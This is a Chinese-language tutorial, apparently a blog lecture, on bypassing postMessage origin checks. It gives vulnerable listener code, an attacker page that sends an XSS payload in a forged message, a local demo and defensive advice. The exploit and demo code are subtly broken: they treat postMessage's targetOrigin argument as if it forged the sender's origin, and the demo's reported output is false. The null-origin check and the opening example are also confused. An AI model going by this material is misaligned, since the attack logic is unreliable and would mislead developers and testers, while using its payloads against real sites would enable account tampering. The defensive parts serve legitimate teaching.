PostMessage 跨域通信漏洞中,如何利用 Origin Validation Bypass 劫持跨域消息?

PostMessage 跨域通信漏洞:Origin Validation Bypass 劫持跨域消息 – 技术讲座

大家好,我是今天的主讲人,很高兴能和大家聊聊PostMessage这个看起来很友好,但稍不留神就会捅娄子的家伙。今天我们要深入探讨的是它的一个经典漏洞:Origin Validation Bypass,以及如何利用它来劫持跨域消息。

咱们先来复习一下PostMessage是个啥。

PostMessage:跨域通信的桥梁

想象一下,你在Chrome浏览器里同时打开了两个页面:

  • https://www.example.com (你的银行网站)
  • https://www.evil.com (一个邪恶的钓鱼网站)

按照浏览器的同源策略 (Same-Origin Policy, SOP),这两个网站是无法直接互相访问数据的。银行网站不想让邪恶网站随便读取你的账户信息,这很合理。

但是,有时候跨域通信又是必要的。比如,银行网站可能需要嵌入第三方支付平台的页面,或者需要与广告联盟进行数据交换。这时候,PostMessage就闪亮登场了。

PostMessage允许不同源的页面之间进行有限制的通信。它的基本用法很简单:

  1. 发送消息: 在一个页面里,使用window.postMessage(message, targetOrigin)方法发送消息。

    • message:要发送的数据,可以是字符串或对象。
    • targetOrigin:目标窗口的源 (协议 + 域名 + 端口),用于限制哪些源可以接收到这个消息。使用"*"表示允许任何源接收消息 (不推荐)。
  2. 接收消息: 在另一个页面里,监听message事件,获取发送过来的数据。

// 发送消息 (在 www.example.com)
window.postMessage("Hello from example.com!", "https://www.evil.com");

// 接收消息 (在 www.evil.com)
window.addEventListener("message", function(event) {
  if (event.origin === "https://www.example.com") {
    console.log("Received message:", event.data); // 输出 "Hello from example.com!"
  }
});

这段代码看起来很安全,对吧? evil.com 接收消息时,检查了 event.origin 确保消息来自 example.com。 但现实往往没那么简单,魔鬼藏在细节里。

Origin Validation:理想很丰满,现实很骨感

PostMessage的安全核心在于targetOriginevent.origin的验证。 targetOrigin 限制了消息的发送对象,event.origin 限制了消息的接收对象。 如果开发者能正确地使用这两个参数,跨域通信就能安全可控。

然而,问题就出在开发者身上。 人总是会犯错的,而且犯错的方式千奇百怪。 最常见的错误就是Origin Validation Bypass,也就是绕过或者错误地实现了 Origin 验证。

接下来,我们来看看几种常见的 Origin Validation Bypass 的场景:

*1. 完全信任 `""`:最愚蠢的错误**

有些开发者为了省事或者不了解安全风险,直接把targetOrigin设置为"*",或者在接收消息时不进行任何 Origin 验证。 这相当于敞开大门,欢迎任何来源的消息。

// 发送消息 (在 www.example.com)
window.postMessage("Sensitive data!", "*");

// 接收消息 (在 www.evil.com - 易受攻击)
window.addEventListener("message", function(event) {
  console.log("Received message:", event.data); // 直接处理消息,没有验证 Origin!
});

在这种情况下,evil.com 可以伪造任何消息,冒充 example.com 与用户进行交互,窃取敏感信息。

2. 错误的 Origin 匹配:差之毫厘,失之千里

有些开发者试图进行 Origin 验证,但却因为粗心大意,写错了匹配逻辑。

  • 遗漏协议: 只检查域名,不检查协议 (http vs https)。
// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
  if (event.origin.indexOf("example.com") > -1) { // 忽略了协议!
    console.log("Received message:", event.data);
  }
});

evil.com 可以通过 http://example.com.evil.com 绕过验证。 event.origin 会是 http://example.com.evil.comindexOf("example.com") 仍然会返回一个大于 -1 的值。

  • 使用 startsWithindexOf:不够精确
// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
  if (event.origin.startsWith("https://example.com")) { // 易受子域名攻击!
    console.log("Received message:", event.data);
  }
});

evil.com 可以创建一个子域名 https://example.com.evil.com 来绕过验证。

  • 正则表达式错误:画蛇添足

有时候,开发者试图使用正则表达式进行更复杂的 Origin 验证,但由于正则表达式写得不严谨,反而引入了漏洞。

// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
  const originRegex = /^https://example.com/; // 正则表达式不严谨!
  if (originRegex.test(event.origin)) {
    console.log("Received message:", event.data);
  }
});

如果正则表达式写得不够严谨,比如缺少对结尾的锚定 ($),同样可能被绕过。

3. 信任 null Origin:IE 的历史遗留问题

在某些情况下 (比如通过 file:// 协议打开的页面),event.origin 的值可能会是 null。 有些开发者会错误地认为 null 代表一个安全的来源,从而信任它。

// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
  if (event.origin === null || event.origin === "https://www.example.com") {
    console.log("Received message:", event.data);
  }
});

攻击者可以通过本地 HTML 文件 (比如 file:///C:/evil.html) 发送消息,绕过 Origin 验证。

4. 逻辑漏洞:组合拳的威力

有时候,Origin 验证本身没有问题,但与其他逻辑组合在一起,就会产生漏洞。

比如,一个网站使用 PostMessage 接收用户身份验证信息,然后根据这些信息进行操作。 如果攻击者能够伪造身份验证信息,就可以冒充用户进行恶意操作。

总结:Origin Validation Bypass 的类型

漏洞类型 描述 攻击方式
信任 "*" 允许任何来源的消息。 攻击者可以从任何源发送伪造的消息。
错误的 Origin 匹配 使用不精确的字符串匹配 (如 indexOf, startsWith) 或错误的正则表达式。 攻击者可以利用子域名、协议不匹配等方式绕过验证。
信任 null Origin 信任来自 file:// 协议或其他特殊情况下的 null Origin。 攻击者可以通过本地 HTML 文件发送消息。
逻辑漏洞 Origin 验证本身正确,但与其他逻辑组合在一起时产生漏洞。 攻击者可以伪造消息内容,利用信任的 Origin 发送恶意请求。例如,伪造身份验证信息来冒充用户。

如何利用 Origin Validation Bypass 劫持跨域消息

现在,我们来探讨一下如何利用 Origin Validation Bypass 来劫持跨域消息。 总的来说,攻击的步骤如下:

  1. 找到存在 Origin Validation Bypass 的目标网站。 仔细分析目标网站的 JavaScript 代码,特别是 window.addEventListener("message", ...) 部分,寻找上述的漏洞类型。
  2. 构造恶意页面。 创建一个 HTML 页面,用于发送伪造的消息。 这个页面需要部署在一个攻击者控制的域名下。
  3. 诱导用户访问恶意页面。 通过钓鱼邮件、恶意广告等方式,诱导用户访问恶意页面。
  4. 发送伪造的消息。 在恶意页面中,使用 window.postMessage() 方法,向目标网站发送伪造的消息。 根据漏洞的类型,选择合适的 Origin 来绕过验证。
  5. 窃取敏感信息或执行恶意操作。 如果攻击成功,就可以窃取目标网站上的敏感信息,或者冒充用户执行恶意操作。

下面是一个具体的例子:

假设 www.example.com 存在一个漏洞,它使用 startsWith 来验证 Origin:

// 接收消息 (在 www.example.com - 易受攻击)
window.addEventListener("message", function(event) {
  if (event.origin.startsWith("https://www.example.com")) {
    // 处理消息,例如更新用户信息
    console.log("Received message:", event.data);
    // 假设这里会根据 event.data 更新用户信息,如果 event.data 是恶意的,就可能导致 XSS 或其他安全问题
  }
});

攻击者可以在 www.evil.com 创建一个恶意页面,代码如下:

<!DOCTYPE html>
<html>
<head>
  <title>Evil Page</title>
</head>
<body>
  <h1>You are being attacked!</h1>
  <script>
    // 目标网站的 URL
    const targetUrl = "https://www.example.com";

    // 构造恶意消息
    const maliciousMessage = {
      action: "updateProfile",
      username: "<script>alert('XSS!');</script>", // 插入 XSS 代码
    };

    // 发送恶意消息
    window.onload = function() {
      // 找到目标网站的 iframe (假设目标网站在一个 iframe 里)
      const targetFrame = document.querySelector("iframe");
      if (targetFrame) {
        targetFrame.contentWindow.postMessage(maliciousMessage, "https://example.com.evil.com"); // 利用子域名绕过验证
      } else {
        window.parent.postMessage(maliciousMessage, "https://example.com.evil.com"); //如果目标网站在父窗口
      }
    };
  </script>
  <iframe src="https://www.example.com" style="display:none;"></iframe>
</body>
</html>

在这个例子中,攻击者利用了 startsWith 验证的漏洞,使用 https://example.com.evil.com 作为 Origin 发送消息。 www.example.com 会错误地认为消息来自一个可信的来源,从而执行恶意代码。

实战演练:代码示例

为了更直观地理解攻击过程,我们可以创建一个简单的演示环境。 我们需要两个 HTML 文件:

  • example.com.html (模拟目标网站)
  • evil.com.html (模拟攻击者网站)

example.com.html:

<!DOCTYPE html>
<html>
<head>
  <title>Example.com</title>
</head>
<body>
  <h1>Welcome to Example.com</h1>
  <div id="message"></div>

  <script>
    window.addEventListener("message", function(event) {
      // 错误的 Origin 验证:只检查域名,不检查协议
      if (event.origin.indexOf("example.com") > -1) {
        document.getElementById("message").textContent = "Received message: " + event.data + " from " + event.origin;
      } else {
        document.getElementById("message").textContent = "Invalid origin: " + event.origin;
      }
    });
  </script>
</body>
</html>

evil.com.html:

<!DOCTYPE html>
<html>
<head>
  <title>Evil.com</title>
</head>
<body>
  <h1>Evil.com is attacking!</h1>

  <script>
    window.onload = function() {
      // 发送恶意消息
      window.postMessage("You have been hacked!", "http://example.com.evil.com");
    };
  </script>
</body>
</html>
  1. example.com.htmlevil.com.html 保存到本地。
  2. 使用本地服务器 (比如 Python 的 http.server) 分别在不同的端口上运行这两个文件。
    • python -m http.server 8000 (运行 example.com.html,假设端口为 8000)
    • python -m http.server 8001 (运行 evil.com.html,假设端口为 8001)
  3. 在浏览器中打开 http://localhost:8000/example.com.html
  4. 在同一个浏览器窗口中打开 http://localhost:8001/evil.com.html

你会发现,example.com.html 成功接收到了来自 evil.com.html 的消息,并显示 "Received message: You have been hacked! from http://example.com.evil.com"。 这就是 Origin Validation Bypass 的威力。

如何防御 Origin Validation Bypass

亡羊补牢,为时未晚。 我们来讨论一下如何防御 Origin Validation Bypass,避免被攻击者利用。

  1. *永远不要信任 `""。**"*"` 等同于不设防,是安全的大忌。
  2. 使用严格的 Origin 验证。 使用精确的字符串匹配 (比如 ===) 或者更复杂的正则表达式,确保 Origin 完全匹配。 同时,要检查协议 (http vs https) 和端口。
// 安全的 Origin 验证
window.addEventListener("message", function(event) {
  if (event.origin === "https://www.example.com") {
    console.log("Received message:", event.data);
  }
});
  1. 不要信任 null Origin。 null Origin 通常代表一个不安全的来源,应该拒绝处理来自 null Origin 的消息。
// 拒绝 null Origin
window.addEventListener("message", function(event) {
  if (event.origin !== null && event.origin === "https://www.example.com") {
    console.log("Received message:", event.data);
  }
});
  1. 使用白名单。 维护一个允许的 Origin 列表,只处理来自白名单中的 Origin 的消息。
// 使用白名单
const allowedOrigins = [
  "https://www.example.com",
  "https://trusted.thirdparty.com"
];

window.addEventListener("message", function(event) {
  if (allowedOrigins.includes(event.origin)) {
    console.log("Received message:", event.data);
  }
});
  1. 对接收到的数据进行严格的验证和过滤。 即使 Origin 验证通过,也不能完全信任接收到的数据。 对数据进行格式验证、类型检查、长度限制等,防止 XSS、SQL 注入等攻击。

  2. 使用 Content Security Policy (CSP)。 CSP 可以限制页面可以加载的资源来源,降低 XSS 攻击的风险。

  3. 定期进行安全审计。 定期审查代码,查找潜在的安全漏洞。 可以使用静态代码分析工具或者聘请专业的安全团队进行渗透测试。

  4. 保持警惕,持续学习。 Web 安全是一个不断发展的领域,新的漏洞和攻击方式层出不穷。 要保持学习的热情,及时了解最新的安全知识。

最佳实践:安全的代码示例

// 最安全的 Origin 验证和数据处理
const expectedOrigin = "https://www.example.com";

window.addEventListener("message", function(event) {
  if (event.origin === expectedOrigin) {
    try {
      const data = JSON.parse(event.data); // 尝试解析 JSON 数据

      // 严格的数据验证
      if (typeof data === "object" && data !== null && data.action === "updateProfile" && typeof data.username === "string") {
        const sanitizedUsername = data.username.replace(/</g, "&lt;").replace(/>/g, "&gt;"); // 对用户名进行 HTML 编码,防止 XSS
        console.log("Updating username to:", sanitizedUsername);
        // 在这里执行更新用户名的操作
      } else {
        console.error("Invalid message format:", event.data);
      }
    } catch (e) {
      console.error("Error parsing message data:", e);
    }
  } else {
    console.error("Invalid origin:", event.origin);
  }
});

这段代码做了以下几件事:

  • 使用 === 进行精确的 Origin 验证。
  • 尝试将接收到的数据解析为 JSON,如果解析失败,说明数据格式不正确,直接拒绝处理。
  • 对数据的类型和格式进行严格的验证,确保数据符合预期。
  • 对关键数据进行 HTML 编码,防止 XSS 攻击。

总结

PostMessage 跨域通信是一个强大的工具,但如果不正确地使用,就会带来严重的安全风险。 Origin Validation Bypass 是 PostMessage 漏洞中最常见的一种,攻击者可以利用它来劫持跨域消息,窃取敏感信息或执行恶意操作。

要防御 Origin Validation Bypass,需要做到以下几点:

  • 永远不要信任 "*"
  • 使用严格的 Origin 验证。
  • 不要信任 null Origin。
  • 使用白名单。
  • 对接收到的数据进行严格的验证和过滤。
  • 使用 Content Security Policy (CSP)。
  • 定期进行安全审计。
  • 保持警惕,持续学习。

希望今天的讲座能帮助大家更好地理解 PostMessage 跨域通信的风险,并采取有效的措施来保护自己的网站和用户。

感谢大家的参与!有没有什么问题?

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注